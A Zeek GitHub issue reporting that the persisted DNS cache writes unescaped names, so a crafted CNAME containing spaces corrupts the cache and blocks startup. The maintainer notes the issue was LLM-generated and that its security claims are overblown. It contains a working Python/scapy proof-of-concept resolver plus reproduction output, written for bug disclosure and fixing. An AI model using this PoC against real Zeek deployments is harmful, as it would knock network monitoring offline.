#5856·zeek

Persistent DNS cache with `-P` can write invalid lines and block startup

Author: evantypanskiCreated Aug 28, 2026Updated Aug 28, 2026

This was originally opened as a security issue, but the team decided that it's not relevant from a security context. It is, however, a bug. Its security claims are overblown, but I did not edit most of them. This requires a relatively obscure option -P, and a DNS server to give a particular response, so it's not classified as a security issue.

This issue was generated entirely by an LLM.


Summary

When Zeek persists its DNS cache (zeek -P / DNS_PRIME mode), DNS_Mapping::Save() writes the resolved name (names[0]) with a bare %s into a whitespace-delimited record line, with no escaping. A hostile DNS server answering Zeek's own A/AAAA or PTR lookups can return a CNAME target (or PTR DNAME) containing literal space characters — c-ares passes 0x20 through unescaped, since it is printable and not in its reserved-character set. On the next startup the cache is reloaded unconditionally and re-tokenised with sscanf (%512s is whitespace-delimited), so the attacker-chosen tokens shift into the numeric fields: with a CNAME label like "0 1 999999999 0", num_addrs becomes 999999999, the address loop consumes the rest of the file, hits EOF with init_failed == true, and DNS_Mgr::LoadCache() calls reporter->FatalError("DNS cache corrupted"). Zeek then refuses to start until the operator deletes the cache file — a persistent denial of service planted by one DNS reply.

Technical details

Sinksrc/DNS_Mapping.cc:154-160 (DNS_Mapping::Save):

https://github.com/zeek/zeek/blob/62443ad95d88c82ea5957176e113086fc99b5a05/src/DNS_Mapping.cc#L154-L160

names[0] is embedded unquoted into a space-separated record. The reload parser, DNS_Mapping::DNS_Mapping(FILE*) at src/DNS_Mapping.cc:52-53, re-tokenises the line:

https://github.com/zeek/zeek/blob/62443ad95d88c82ea5957176e113086fc99b5a05/src/DNS_Mapping.cc#L52-L56

%512s stops at whitespace, so spaces inside names[0] shift the subsequent attacker-controlled tokens into req_type, num_addrs, and req_ttl. num_addrs is not bounded; the loop at DNS_Mapping.cc:67-69 then fgets()s that many lines and returns early on EOF with init_failed still true and no_mapping false. DNS_Mgr::LoadCache() (src/DNS_Mgr.cc:1033-1034) turns exactly that state into:

https://github.com/zeek/zeek/blob/62443ad95d88c82ea5957176e113086fc99b5a05/src/DNS_Mgr.cc#L1033-L1034

Source — attacker-controlled name with embedded spaces:

  1. During zeek -P, script lookups go through Zeek's resolver via c-ares. A reply whose answer section is poisoned.test CNAME <label> + an A/AAAA record makes c-ares set ares_addrinfo->name to the CNAME target (ares_parse_into_addrinfo.c).
  2. CNAME/PTR rdata names are parsed with is_hostname = ARES_FALSE; in ares_fetch_dnsname_into_buf (auxil/c-ares/src/lib/record/ares_dns_name.c) bytes passing ares_isprint (0x20-0x7E) that are not in is_reservedch (ares_dns_name.c:477-494: only " . ; \ ( ) @ $) are emitted verbatim — space is not escaped.
  3. addrinfo_cb (src/DNS_Mgr.cc) copies result->name into h_name; DNS_Mapping::Init stores it as names[0] with no sanitisation; Save() writes it raw. (The TXT path in query_cb copies raw bytes into h_name as well and reaches the same sink.)
  4. Save() runs when zeek -P completes; LoadCache() runs unconditionally on every startup (src/DNS_Mgr.cc:543).

With CNAME target label 0 1 999999999 0 (a single DNS label containing raw 0x20 bytes), the saved header line becomes:

<ts> 1 poisoned.test 0 0 1 999999999 0 <real_type> <real_naddrs> <real_ttl>

and reload parses name_buf="0", req_type=1, num_addrs=999999999, req_ttl=0.

Reproduction

Self-contained PoC: starts a fake resolver on 127.0.0.1:15353 that answers with the malicious CNAME, primes the cache with zeek -P, then restarts Zeek to demonstrate the fatal error. Pass --control to use a benign CNAME target instead (clean restart).

python
#!/usr/bin/env python3
# DNS cache record injection (DNS_Mapping.cc:155) -> "DNS cache corrupted" on restart.
# Usage: poc.py <zeek-binary> <workdir> [--control]     (needs scapy)
import os, socket, subprocess, sys, threading
from scapy.all import DNS, DNSQR, DNSRR

RESOLVER = ("127.0.0.1", 15353)
EVIL_NAME = b"0 1 999999999 0"  # single DNS label with raw 0x20 bytes
BENIGN_NAME = b"benign-target.test"

def dns_server(sock, cname_target, stop):
    while not stop.is_set():
        try:
            data, addr = sock.recvfrom(4096)
        except socket.timeout:
            continue
        q = DNS(data)
        qname, qtype = q.qd.qname, q.qd.qtype
        an = [DNSRR(rrname=qname, type="CNAME", ttl=60, rdata=cname_target)]
        if qtype == 1:  # A
            an.append(DNSRR(rrname=cname_target, type="A", ttl=60, rdata="6.6.6.6"))
        elif qtype == 28:  # AAAA
            an.append(DNSRR(rrname=cname_target, type="AAAA", ttl=60, rdata="dead::beef"))
        sock.sendto(bytes(DNS(id=q.id, qr=1, aa=1, rd=q.rd, ra=1, qd=q.qd, an=an)), addr)

def main():
    zeek, workdir = sys.argv[1], sys.argv[2]
    target = BENIGN_NAME if "--control" in sys.argv else EVIL_NAME

    os.makedirs(os.path.join(workdir, ".state"), exist_ok=True)
    script = os.path.join(workdir, "prime.zeek")
    with open(script, "w") as f:
        f.write('global a = blocking_lookup_hostname("poisoned.test");\nprint a;\n')

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.bind(RESOLVER)
    sock.settimeout(0.2)
    stop = threading.Event()
    t = threading.Thread(target=dns_server, args=(sock, target, stop), daemon=True)
    t.start()

    env = dict(os.environ, ZEEK_DNS_RESOLVER=f"{RESOLVER[0]}:{RESOLVER[1]}")
    r = subprocess.run([zeek, "-P", "-b", script], cwd=workdir, env=env,
                       capture_output=True, text=True, timeout=120)
    print("prime exit:", r.returncode)
    stop.set(); t.join(); sock.close()

    with open(os.path.join(workdir, ".state", ".zeek-dns-cache")) as f:
        print("cache file:\n" + f.read())

    r2 = subprocess.run([zeek, "-b", "-e", 'print "zeek started ok";'],
                        cwd=workdir, env=env, capture_output=True, text=True, timeout=120)
    print("restart exit:", r2.returncode)
    print(r2.stdout, r2.stderr)

if __name__ == "__main__":
    main()

Run:

python3 poc.py /path/to/zeek /tmp/zeek-dns-cache-poc            # poisoned
python3 poc.py /path/to/zeek /tmp/zeek-dns-cache-control --control # benign control

The same parser behavior can occer when cached DNS data contains whitespace in the persisted name field.

Observed results

Release build (RelWithDebInfo). Poisoned run:

prime exit: 0
cache file (.state/.zeek-dns-cache):
1
1785868286 1 poisoned.test 0 0 1 999999999 0 1 2 60
dead::beef
6.6.6.6
restart exit: 1
 fatal error in <command line>, line 3: DNS cache corrupted

The injected name 0 1 999999999 0 shifted the fields: reload parses name_buf="0", req_type=1, num_addrs=999999999; the real trailing fields 1 2 60 are left past the 8 matched conversions; the address loop swallows the remaining lines and EOFs → FatalError.

Control run (benign CNAME target benign-target.test):

prime exit: 0
cache file:
1
1785868287 1 poisoned.test 0 benign-target.test 1 2 60
dead::beef
6.6.6.6
restart exit: 0
zeek started ok

Suggested fix

[!NOTE] This was generated by an LLM. I do not vouch for its validity.

Sanitise or encode names[0] (and req_host) when persisting the cache: reject or escape any byte <= 0x20 (or any non-hostname character), or switch the record to a length-prefixed/quoted encoding so embedded whitespace cannot shift sscanf field positions. Independently, clamp num_addrs read from the cache to a sane maximum before the read loop, and treat a truncated record as no_mapping (skip) rather than a fatal startup error.